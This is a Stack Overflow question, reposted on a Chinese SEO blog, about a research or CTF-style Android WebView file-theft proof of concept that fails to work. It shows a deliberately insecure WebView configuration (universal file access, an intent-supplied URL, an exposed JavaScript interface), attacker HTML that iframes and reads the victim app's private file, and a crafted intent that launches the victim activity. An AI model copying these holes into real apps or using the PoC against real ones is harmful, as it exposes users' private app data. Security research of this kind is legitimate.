最新消息:雨落星辰是一个专注网站SEO优化、网站SEO诊断、搜索引擎研究、网络营销推广、网站策划运营及站长类的自媒体原创博客

security - Android WebView Same Origin Policy: Unable to load internal file into iFrame - Stack Overflow

programmeradmin0浏览0评论

I am trying to build a PoC on a file theft in Android Webview for research purposes. However, I'm not able to load the supposedly stolen content in iFrame. Tried with different Android versions but no success. So I figured I might be doing something wrong here. First of, this is how the webview activity looks:

    @SuppressLint("SetJavaScriptEnabled")
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.webview_activity)

        val webView = findViewById<WebView>(R.id.web_view)

        val file = File(filesDir, "secret.html")
        if (file.exists()) {
            val content = file.readText()
            Log.d("FileContent", "Secret file content: $content")
        } else {
            Log.e("FileContent", "Secret file not found")
        }

        with(webView.settings) {
            javaScriptEnabled = true
            allowFileAccess = true
            allowUniversalAccessFromFileURLs = true
            allowFileAccessFromFileURLs = true
        }

        // expecting something from a content provider. SOP content://
        webView.loadUrl(intent.getStringExtra("URL")!!)
        webView.addJavascriptInterface(JavascriptObject(), "victimApp")
    }

Followed by a Javscript interface:

inner class JavascriptObject {

        @JavascriptInterface
        fun arbitraryMethod(input: String) {
            Log.i("Flag40", ("victimApp.arbitraryMethod(\"$input").toString() + "\")")
            val readFile = readFile(this@WebViewActivity, "secret.html")
            Utils.writeFile(this@WebViewActivity, "secret.html", input)
            /*
             So basically if the files match, the flag is considered captured
            */
            if (readFile == null || readFile != input) {
                Log.d("Flag40", "arbitraryMethod: Failed")
                return
            }
            Log.d("Flag40", "arbitraryMethod: FLAG CAPTURED")
        }
    }

The secret html file path is wrriten like this:

fun writeFile(context: Context, str: String, str2: String) {
        val parentFile = File(context.filesDir, str).parentFile
        if (parentFile != null) {
            if (!parentFile.exists()) {
                parentFile.mkdirs()
            }
        }
        try {
            val fileOutputStream = FileOutputStream(File(context.filesDir, str))
            try {
                fileOutputStream.write(str2.toByteArray())
                fileOutputStream.close()
            } finally {
            }
        } catch (e: IOException) {
            e.printStackTrace()
        }
    }

And now the PoC of the attacker:

<iframe id="secretFrame"></iframe>

<script>
    const frame = document.getElementById("secretFrame");

    frame.src = "file:///data/data/com.victimapp/files/secret.html";

    frame.onload = function () {
      document.body.style.backgroundColor = "yellow";
      console.log("Iframe loaded!");

      try {
        const doc = frame.contentWindow.document;
        console.log("Iframe Content:", doc.body.innerHTML);
        document.body.innerHTML += `<div style="color: blue;">Iframe Content: ${doc.body.innerHTML}</div>`;
      } catch (e) {
        console.error("SOP Blocked Access:", e);
        document.body.innerHTML += '<div style="color: red;">SOP Blocked Access</div>';
      }
    };
</script>

And then send the malicious intent from an attacker PoC:

val contentUri = Uri.parse("content://com.basic_attacker/thief.html")

                                    val intent = Intent().apply {
                                        putExtra("URL", contentUri.toString())
                                        setComponent(
                                            ComponentName(
                                                "com.victimapp",
                                                "com.victimapp.WebViewActivity"
                                            )
                                        )
                                        addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)
                                    }
                                    startActivity(intent)

I have made sure that the ContentProvider of the attacker is a weak one so that any app in the system can open it. And that is true, the html can be loaded in the victim app. However the iFrame remains blank:

I did try a lot of stuff, also considered that the secret path might be incorrect (tried a lot of variations) but still no luck. I did google a lot and it seems that a file:// path is possible to be loaded in an iFrame even though the Same Origin Policy in this case is content://.

The secret html is just a hello world html. Nothing fancy.

Any idea what I might be doing wrong?

发布评论

评论列表(0)

  1. 暂无评论